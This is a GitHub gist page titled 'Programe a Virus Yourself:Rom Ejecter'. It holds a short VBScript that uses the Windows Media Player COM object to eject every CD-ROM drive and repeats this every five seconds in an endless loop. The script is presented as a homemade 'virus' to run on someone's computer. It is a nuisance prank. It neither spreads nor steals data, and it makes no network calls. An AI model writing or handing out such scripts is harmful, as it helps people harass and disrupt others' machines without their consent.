Skip to content

Instantly share code, notes, and snippets.

@remyarajeshpaedh
Created August 27, 2012 12:13
Show Gist options
  • Save remyarajeshpaedh/3487918 to your computer and use it in GitHub Desktop.
Save remyarajeshpaedh/3487918 to your computer and use it in GitHub Desktop.
Programe a Virus Yourself:Rom Ejecter
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment